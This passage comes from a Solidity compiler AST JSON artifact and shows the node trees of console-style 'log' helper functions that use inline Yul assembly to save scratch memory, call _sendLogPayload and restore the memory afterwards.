28"},"value":"0x1c"},{"hexValue":"30783634","id":34255,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"19460:4:22","typeDescriptions":{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 100"},"value":"0x64"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 100"}],"id":34253,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"19438:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":34256,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"19438:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":34257,"nodeType":"ExpressionStatement","src":"19438:27:22"},{"AST":{"nativeSrc":"19484:127:22","nodeType":"YulBlock","src":"19484:127:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"19505:4:22","nodeType":"YulLiteral","src":"19505:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"19511:2:22","nodeType":"YulIdentifier","src":"19511:2:22"}],"functionName":{"name":"mstore","nativeSrc":"19498:6:22","nodeType":"YulIdentifier","src":"19498:6:22"},"nativeSrc":"19498:16:22","nodeType":"YulFunctionCall","src":"19498:16:22"},"nativeSrc":"19498:16:22","nodeType":"YulExpressionStatement","src":"19498:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"19534:4:22","nodeType":"YulLiteral","src":"19534:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"19540:2:22","nodeType":"YulIdentifier","src":"19540:2:22"}],"functionName":{"name":"mstore","nativeSrc":"19527:6:22","nodeType":"YulIdentifier","src":"19527:6:22"},"nativeSrc":"19527:16:22","nodeType":"YulFunctionCall","src":"19527:16:22"},"nativeSrc":"19527:16:22","nodeType":"YulExpressionStatement","src":"19527:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"19563:4:22","nodeType":"YulLiteral","src":"19563:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"19569:2:22","nodeType":"YulIdentifier","src":"19569:2:22"}],"functionName":{"name":"mstore","nativeSrc":"19556:6:22","nodeType":"YulIdentifier","src":"19556:6:22"},"nativeSrc":"19556:16:22","nodeType":"YulFunctionCall","src":"19556:16:22"},"nativeSrc":"19556:16:22","nodeType":"YulExpressionStatement","src":"19556:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"19592:4:22","nodeType":"YulLiteral","src":"19592:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"19598:2:22","nodeType":"YulIdentifier","src":"19598:2:22"}],"functionName":{"name":"mstore","nativeSrc":"19585:6:22","nodeType":"YulIdentifier","src":"19585:6:22"},"nativeSrc":"19585:16:22","nodeType":"YulFunctionCall","src":"19585:16:22"},"nativeSrc":"19585:16:22","nodeType":"YulExpressionStatement","src":"19585:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":34241,"isOffset":false,"isSlot":false,"src":"19511:2:22","valueSize":1},{"declaration":34244,"isOffset":false,"isSlot":false,"src":"19540:2:22","valueSize":1},{"declaration":34247,"isOffset":false,"isSlot":false,"src":"19569:2:22","valueSize":1},{"declaration":34250,"isOffset":false,"isSlot":false,"src":"19598:2:22","valueSize":1}],"id":34258,"nodeType":"InlineAssembly","src":"19475:136:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"18968:3:22","parameters":{"id":34238,"nodeType":"ParameterList","parameters":[{"constant":false,"id":34233,"mutability":"mutable","name":"p0","nameLocation":"18980:2:22","nodeType":"VariableDeclaration","scope":34260,"src":"18972:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":34232,"name":"address","nodeType":"ElementaryTypeName","src":"18972:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":34235,"mutability":"mutable","name":"p1","nameLocation":"18992:2:22","nodeType":"VariableDeclaration","scope":34260,"src":"18984:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":34234,"name":"address","nodeType":"ElementaryTypeName","src":"18984:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":34237,"mutability":"mutable","name":"p2","nameLocation":"19001:2:22","nodeType":"VariableDeclaration","scope":34260,"src":"18996:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":34236,"name":"bool","nodeType":"ElementaryTypeName","src":"18996:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"18971:33:22"},"returnParameters":{"id":34239,"nodeType":"ParameterList","parameters":[],"src":"19019:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":34289,"nodeType":"FunctionDefinition","src":"19623:664:22","nodes":[],"body":{"id":34288,"nodeType":"Block","src":"19686:601:22","nodes":[],"statements":[{"assignments":[34270],"declarations":[{"constant":false,"id":34270,"mutability":"mutable","name":"m0","nameLocation":"19704:2:22","nodeType":"VariableDeclaration","scope":34288,"src":"19696:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34269,"name":"bytes32","nodeType":"ElementaryTypeName","src":"19696:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34271,"nodeType":"VariableDeclarationStatement","src":"19696:10:22"},{"assignments":[34273],"declarations":[{"constant":false,"id":34273,"mutability":"mutable","name":"m1","nameLocation":"19724:2:22","nodeType":"VariableDeclaration","scope":34288,"src":"19716:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34272,"name":"bytes32","nodeType":"ElementaryTypeName","src":"19716:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34274,"nodeType":"VariableDeclarationStatement","src":"19716:10:22"},{"assignments":[34276],"declarations":[{"constant":false,"id":34276,"mutability":"mutable","name":"m2","nameLocation":"19744:2:22","nodeType":"VariableDeclaration","scope":34288,"src":"19736:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34275,"name":"bytes32","nodeType":"ElementaryTypeName","src":"19736:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34277,"nodeType":"VariableDeclarationStatement","src":"19736:10:22"},{"assignments":[34279],"declarations":[{"constant":false,"id":34279,"mutability":"mutable","name":"m3","nameLocation":"19764:2:22","nodeType":"VariableDeclaration","scope":34288,"src":"19756:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34278,"name":"bytes32","nodeType":"ElementaryTypeName","src":"19756:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34280,"nodeType":"VariableDeclarationStatement","src":"19756:10:22"},{"AST":{"nativeSrc":"19785:314:22","nodeType":"YulBlock","src":"19785:314:22","statements":[{"nativeSrc":"19799:17:22","nodeType":"YulAssignment","src":"19799:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"19811:4:22","nodeType":"YulLiteral","src":"19811:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"19805:5:22","nodeType":"YulIdentifier","src":"19805:5:22"},"nativeSrc":"19805:11:22","nodeType":"YulFunctionCall","src":"19805:11:22"},"variableNames":[{"name":"m0","nativeSrc":"19799:2:22","nodeType":"YulIdentifier","src":"19799:2:22"}]},{"nativeSrc":"19829:17:22","nodeType":"YulAssignment","src":"19829:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"19841:4:22","nodeType":"YulLiteral","src":"19841:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"19835:5:22","nodeType":"YulIdentifier","src":"19835:5:22"},"nativeSrc":"19835:11:22","nodeType":"YulFunctionCall","src":"19835:11:22"},"variableNames":[{"name":"m1","nativeSrc":"19829:2:22","nodeType":"YulIdentifier","src":"19829:2:22"}]},{"nativeSrc":"19859:17:22","nodeType":"YulAssignment","src":"19859:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"19871:4:22","nodeType":"YulLiteral","src":"19871:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"19865:5:22","nodeType":"YulIdentifier","src":"19865:5:22"},"nativeSrc":"19865:11:22","nodeType":"YulFunctionCall","src":"19865:11:22"},"variableNames":[{"name":"m2","nativeSrc":"19859:2:22","nodeType":"YulIdentifier","src":"19859:2:22"}]},{"nativeSrc":"19889:17:22","nodeType":"YulAssignment","src":"19889:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"19901:4:22","nodeType":"YulLiteral","src":"19901:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"19895:5:22","nodeType":"YulIdentifier","src":"19895:5:22"},"nativeSrc":"19895:11:22","nodeType":"YulFunctionCall","src":"19895:11:22"},"variableNames":[{"name":"m3","nativeSrc":"19889:2:22","nodeType":"YulIdentifier","src":"19889:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"19985:4:22","nodeType":"YulLiteral","src":"19985:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"19991:10:22","nodeType":"YulLiteral","src":"19991:10:22","type":"","value":"0x17fe6185"}],"functionName":{"name":"mstore","nativeSrc":"19978:6:22","nodeType":"YulIdentifier","src":"19978:6:22"},"nativeSrc":"19978:24:22","nodeType":"YulFunctionCall","src":"19978:24:22"},"nativeSrc":"19978:24:22","nodeType":"YulExpressionStatement","src":"19978:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"20022:4:22","nodeType":"YulLiteral","src":"20022:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"20028:2:22","nodeType":"YulIdentifier","src":"20028:2:22"}],"functionName":{"name":"mstore","nativeSrc":"20015:6:22","nodeType":"YulIdentifier","src":"20015:6:22"},"nativeSrc":"20015:16:22","nodeType":"YulFunctionCall","src":"20015:16:22"},"nativeSrc":"20015:16:22","nodeType":"YulExpressionStatement","src":"20015:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"20051:4:22","nodeType":"YulLiteral","src":"20051:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"20057:2:22","nodeType":"YulIdentifier","src":"20057:2:22"}],"functionName":{"name":"mstore","nativeSrc":"20044:6:22","nodeType":"YulIdentifier","src":"20044:6:22"},"nativeSrc":"20044:16:22","nodeType":"YulFunctionCall","src":"20044:16:22"},"nativeSrc":"20044:16:22","nodeType":"YulExpressionStatement","src":"20044:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"20080:4:22","nodeType":"YulLiteral","src":"20080:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"20086:2:22","nodeType":"YulIdentifier","src":"20086:2:22"}],"functionName":{"name":"mstore","nativeSrc":"20073:6:22","nodeType":"YulIdentifier","src":"20073:6:22"},"nativeSrc":"20073:16:22","nodeType":"YulFunctionCall","src":"20073:16:22"},"nativeSrc":"20073:16:22","nodeType":"YulExpressionStatement","src":"20073:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":34270,"isOffset":false,"isSlot":false,"src":"19799:2:22","valueSize":1},{"declaration":34273,"isOffset":false,"isSlot":false,"src":"19829:2:22","valueSize":1},{"declaration":34276,"isOffset":false,"isSlot":false,"src":"19859:2:22","valueSize":1},{"declaration":34279,"isOffset":false,"isSlot":false,"src":"19889:2:22","valueSize":1},{"declaration":34262,"isOffset":false,"isSlot":false,"src":"20028:2:22","valueSize":1},{"declaration":34264,"isOffset":false,"isSlot":false,"src":"20057:2:22","valueSize":1},{"declaration":34266,"isOffset":false,"isSlot":false,"src":"20086:2:22","valueSize":1}],"id":34281,"nodeType":"InlineAssembly","src":"19776:323:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":34283,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"20124:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783634","id":34284,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"20130:4:22","typeDescriptions":{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 100"},"value":"0x64"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 100"}],"id":34282,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"20108:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":34285,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"20108:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":34286,"nodeType":"ExpressionStatement","src":"20108:27:22"},{"AST":{"nativeSrc":"20154:127:22","nodeType":"YulBlock","src":"20154:127:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"20175:4:22","nodeType":"YulLiteral","src":"20175:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"20181:2:22","nodeType":"YulIdentifier","src":"20181:2:22"}],"functionName":{"name":"mstore","nativeSrc":"20168:6:22","nodeType":"YulIdentifier","src":"20168:6:22"},"nativeSrc":"20168:16:22","nodeType":"YulFunctionCall","src":"20168:16:22"},"nativeSrc":"20168:16:22","nodeType":"YulExpressionStatement","src":"20168:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"20204:4:22","nodeType":"YulLiteral","src":"20204:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"20210:2:22","nodeType":"YulIdentifier","src":"20210:2:22"}],"functionName":{"name":"mstore","nativeSrc":"20197:6:22","nodeType":"YulIdentifier","src":"20197:6:22"},"nativeSrc":"20197:16:22","nodeType":"YulFunctionCall","src":"20197:16:22"},"nativeSrc":"20197:16:22","nodeType":"YulExpressionStatement","src":"20197:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"20233:4:22","nodeType":"YulLiteral","src":"20233:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"20239:2:22","nodeType":"YulIdentifier","src":"20239:2:22"}],"functionName":{"name":"mstore","nativeSrc":"20226:6:22","nodeType":"YulIdentifier","src":"20226:6:22"},"nativeSrc":"20226:16:22","nodeType":"YulFunctionCall","src":"20226:16:22"},"nativeSrc":"20226:16:22","nodeType":"YulExpressionStatement","src":"20226:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"20262:4:22","nodeType":"YulLiteral","src":"20262:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"20268:2:22","nodeType":"YulIdentifier","src":"20268:2:22"}],"functionName":{"name":"mstore","nativeSrc":"20255:6:22","nodeType":"YulIdentifier","src":"20255:6:22"},"nativeSrc":"20255:16:22","nodeType":"YulFunctionCall","src":"20255:16:22"},"nativeSrc":"20255:16:22","nodeType":"YulExpressionStatement","src":"20255:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":34270,"isOffset":false,"isSlot":false,"src":"20181:2:22","valueSize":1},{"declaration":34273,"isOffset":false,"isSlot":false,"src":"20210:2:22","valueSize":1},{"declaration":34276,"isOffset":false,"isSlot":false,"src":"20239:2:22","valueSize":1},{"declaration":34279,"isOffset":false,"isSlot":false,"src":"20268:2:22","valueSize":1}],"id":34287,"nodeType":"InlineAssembly","src":"20145:136:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"19632:3:22","parameters":{"id":34267,"nodeType":"ParameterList","parameters":[{"constant":false,"id":34262,"mutability":"mutable","name":"p0","nameLocation":"19644:2:22","nodeType":"VariableDeclaration","scope":34289,"src":"19636:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":34261,"name":"address","nodeType":"ElementaryTypeName","src":"19636:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":34264,"mutability":"mutable","name":"p1","nameLocation":"19656:2:22","nodeType":"VariableDeclaration","scope":34289,"src":"19648:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":34263,"name":"address","nodeType":"ElementaryTypeName","src":"19648:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":34266,"mutability":"mutable","name":"p2","nameLocation":"19668:2:22","nodeType":"VariableDeclaration","scope":34289,"src":"19660:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":34265,"name":"uint256","nodeType":"ElementaryTypeName","src":"19660:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"19635:36:22"},"returnParameters":{"id":34268,"nodeType":"ParameterList","parameters":[],"src":"19686:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":34324,"nodeType":"FunctionDefinition","src":"20293:1212:22","nodes":[],"body":{"id":34323,"nodeType":"Block","src":"20356:1149:22","nodes":[],"statements":[{"assignments":[34299],"declarations":[{"constant":false,"id":34299,"mutability":"mutable","name":"m0","nameLocation":"20374:2:22","nodeType":"VariableDeclaration","scope":34323,"src":"20366:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34298,"name":"bytes32","nodeType":"ElementaryTypeName","src":"20366:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34300,"nodeType":"VariableDeclarationStatement","src":"20366:10:22"},{"assignments":[34302],"declarations":[{"constant":false,"id":34302,"mutability":"mutable","name":"m1","nameLocation":"20394:2:22","nodeType":"VariableDeclaration","scope":34323,"src":"20386:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34301,"name":"bytes32","nodeType":"ElementaryTypeName","src":"20386:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34303,"nodeType":"VariableDeclarationStatement","src":"20386:10:22"},{"assignments":[34305],"declarations":[{"constant":false,"id":34305,"mutability":"mutable","name":"m2","nameLocation":"20414:2:22","nodeType":"VariableDeclaration","scope":34323,"src":"20406:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34304,"name":"bytes32","nodeType":"ElementaryTypeName","src":"20406:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34306,"nodeType":"VariableDeclarationStatement","src":"20406:10:22"},{"assignments":[34308],"declarations":[{"constant":false,"id":34308,"mutability":"mutable","name":"m3","nameLocation":"20434:2:22","nodeType":"VariableDeclaration","scope":34323,"src":"20426:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34307,"name":"bytes32","nodeType":"ElementaryTypeName","src":"20426:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34309,"nodeType":"VariableDeclarationStatement","src":"20426:10:22"},{"assignments":[34311],"declarations":[{"constant":false,"id":34311,"mutability":"mutable","name":"m4","nameLocation":"20454:2:22","nodeType":"VariableDeclaration","scope":34323,"src":"20446:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34310,"name":"bytes32","nodeType":"ElementaryTypeName","src":"20446:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34312,"nodeType":"VariableDeclarationStatement","src":"20446:10:22"},{"assignments":[34314],"declarations":[{"constant":false,"id":34314,"mutability":"mutable","name":"m5","nameLocation":"20474:2:22","nodeType":"VariableDeclaration","scope":34323,"src":"20466:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34313,"name":"bytes32","nodeType":"ElementaryTypeName","src":"20466:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34315,"nodeType":"VariableDeclarationStatement","src":"20466:10:22"},{"AST":{"nativeSrc":"20495:764:22","nodeType":"YulBlock","src":"20495:764:22","statements":[{"body":{"nativeSrc":"20538:313:22","nodeType":"YulBlock","src":"20538:313:22","statements":[{"nativeSrc":"20556:15:22","nodeType":"YulVariableDeclaration","src":"20556:15:22","value":{"kind":"number","nativeSrc":"20570:1:22","nodeType":"YulLiteral","src":"20570:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"20560:6:22","nodeType":"YulTypedName","src":"20560:6:22","type":""}]},{"body":{"nativeSrc":"20641:40:22","nodeType":"YulBlock","src":"20641:40:22","statements":[{"body":{"nativeSrc":"20670:9:22","nodeType":"YulBlock","src":"20670:9:22","statements":[{"nativeSrc":"20672:5:22","nodeType":"YulBreak","src":"20672:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"20658:6:22","nodeType":"YulIdentifier","src":"20658:6:22"},{"name":"w","nativeSrc":"20666:1:22","nodeType":"YulIdentifier","src":"20666:1:22"}],"functionName":{"name":"byte","nativeSrc":"20653:4:22","nodeType":"YulIdentifier","src":"20653:4:22"},"nativeSrc":"20653:15:22","nodeType":"YulFunctionCall","src":"20653:15:22"}],"functionName":{"name":"iszero","nativeSrc":"20646:6:22","nodeType":"YulIdentifier","src":"20646:6:22"},"nativeSrc":"20646:23:22","nodeType":"YulFunctionCall","src":"20646:23:22"},"nativeSrc":"20643:36:22","nodeType":"YulIf","src":"20643:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"20598:6:22","nodeType":"YulIdentifier","src":"20598:6:22"},{"kind":"number","nativeSrc":"20606:4:22","nodeType":"YulLiteral","src":"20606:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"20595:2:22","nodeType":"YulIdentifier","src":"20595:2:22"},"nativeSrc":"20595:16:22","nodeType":"YulFunctionCall","src":"20595:16:22"},"nativeSrc":"20588:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"20612:28:22","nodeType":"YulBlock","src":"20612:28:22","statements":[{"nativeSrc":"20614:24:22","nodeType":"YulAssignment","src":"20614:24:22","value":{"arguments":[{"name":"length","nativeSrc":"20628:6:22","nodeType":"YulIdentifier","src":"20628:6:22"},{"kind":"number","nativeSrc":"20636:1:22","nodeType":"YulLiteral","src":"20636:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"20624:3:22","nodeType":"YulIdentifier","src":"20624:3:22"},"nativeSrc":"20624:14:22","nodeType":"YulFunctionCall","src":"20624:14:22"},"variableNames":[{"name":"length","nativeSrc":"20614:6:22","nodeType":"YulIdentifier","src":"20614:6:22"}]}]},"pre":{"nativeSrc":"20592:2:22","nodeType":"YulBlock","src":"20592:2:22","statements":[]},"src":"20588:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"20705:3:22","nodeType":"YulIdentifier","src":"20705:3:22"},{"name":"length","nativeSrc":"20710:6:22","nodeType":"YulIdentifier","src":"20710:6:22"}],"functionName":{"name":"mstore","nativeSrc":"20698:6:22","nodeType":"YulIdentifier","src":"20698:6:22"},"nativeSrc":"20698:19:22","nodeType":"YulFunctionCall","src":"20698:19:22"},"nativeSrc":"20698:19:22","nodeType":"YulExpressionStatement","src":"20698:19:22"},{"nativeSrc":"20734:37:22","nodeType":"YulVariableDeclaration","src":"20734:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"20751:3:22","nodeType":"YulLiteral","src":"20751:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"20760:1:22","nodeType":"YulLiteral","src":"20760:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"20763:6:22","nodeType":"YulIdentifier","src":"20763:6:22"}],"functionName":{"name":"shl","nativeSrc":"20756:3:22","nodeType":"YulIdentifier","src":"20756:3:22"},"nativeSrc":"20756:14:22","nodeType":"YulFunctionCall","src":"20756:14:22"}],"functionName":{"name":"sub","nativeSrc":"20747:3:22","nodeType":"YulIdentifier","src":"20747:3:22"},"nativeSrc":"20747:24:22","nodeType":"YulFunctionCall","src":"20747:24:22"},"variables":[{"name":"shift","nativeSrc":"20738:5:22","nodeType":"YulTypedName","src":"20738:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"20799:3:22","nodeType":"YulIdentifier","src":"20799:3:22"},{"kind":"number","nativeSrc":"20804:4:22","nodeType":"YulLiteral","src":"20804:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"20795:3:22","nodeType":"YulIdentifier","src":"20795:3:22"},"nativeSrc":"20795:14:22","nodeType":"YulFunctionCall","src":"20795:14:22"},{"arguments":[{"name":"shift","nativeSrc":"20815:5:22","nodeType":"YulIdentifier","src":"20815:5:22"},{"arguments":[{"name":"shift","nativeSrc":"20826:5:22","nodeType":"YulIdentifier","src":"20826:5:22"},{"name":"w","nativeSrc":"20833:1:22","nodeType":"YulIdentifier","src":"20833:1:22"}],"functionName":{"name":"shr","nativeSrc":"20822:3:22","nodeType":"YulIdentifier","src":"20822:3:22"},"nativeSrc":"20822:13:22","nodeType":"YulFunctionCall","src":"20822:13:22"}],"functionName":{"name":"shl","nativeSrc":"20811:3:22","nodeType":"YulIdentifier","src":"20811:3:22"},"nativeSrc":"20811:25:22","nodeType":"YulFunctionCall","src":"20811:25:22"}],"functionName":{"name":"mstore","nativeSrc":"20788:6:22","nodeType":"YulIdentifier","src":"20788:6:22"},"nativeSrc":"20788:49:22","nodeType":"YulFunctionCall","src":"20788:49:22"},"nativeSrc":"20788:49:22","nodeType":"YulExpressionStatement","src":"20788:49:22"}]},"name":"writeString","nativeSrc":"20509:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"20530:3:22","nodeType":"YulTypedName","src":"20530:3:22","type":""},{"name":"w","nativeSrc":"20535:1:22","nodeType":"YulTypedName","src":"20535:1:22","type":""}],"src":"20509:342:22"},{"nativeSrc":"20864:17:22","nodeType":"YulAssignment","src":"20864:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"20876:4:22","nodeType":"YulLiteral","src":"20876:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"20870:5:22","nodeType":"YulIdentifier","src":"20870:5:22"},"nativeSrc":"20870:11:22","nodeType":"YulFunctionCall","src":"20870:11:22"},"variableNames":[{"name":"m0","nativeSrc":"20864:2:22","nodeType":"YulIdentifier","src":"20864:2:22"}]},{"nativeSrc":"20894:17:22","nodeType":"YulAssignment","src":"20894:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"20906:4:22","nodeType":"YulLiteral","src":"20906:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"20900:5:22","nodeType":"YulIdentifier","src":"20900:5:22"},"nativeSrc":"20900:11:22","nodeType":"YulFunctionCall","src":"20900:11:22"},"variableNames":[{"name":"m1","nativeSrc":"20894:2:22","nodeType":"YulIdentifier","src":"20894:2:22"}]},{"nativeSrc":"20924:17:22","nodeType":"YulAssignment","src":"20924:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"20936:4:22","nodeType":"YulLiteral","src":"20936:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"20930:5:22","nodeType":"YulIdentifier","src":"20930:5:22"},"nativeSrc":"20930:11:22","nodeType":"YulFunctionCall","src":"20930:11:22"},"variableNames":[{"name":"m2","nativeSrc":"20924:2:22","nodeType":"YulIdentifier","src":"20924:2:22"}]},{"nativeSrc":"20954:17:22","nodeType":"YulAssignment","src":"20954:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"20966:4:22","nodeType":"YulLiteral","src":"20966:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"20960:5:22","nodeType":"YulIdentifier","src":"20960:5:22"},"nativeSrc":"20960:11:22","nodeType":"YulFunctionCall","src":"20960:11:22"},"variableNames":[{"name":"m3","nativeSrc":"20954:2:22","nodeType":"YulIdentifier","src":"20954:2:22"}]},{"nativeSrc":"20984:17:22","nodeType":"YulAssignment","src":"20984:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"20996:4:22","nodeType":"YulLiteral","src":"20996:4:22","type":"","value":"0x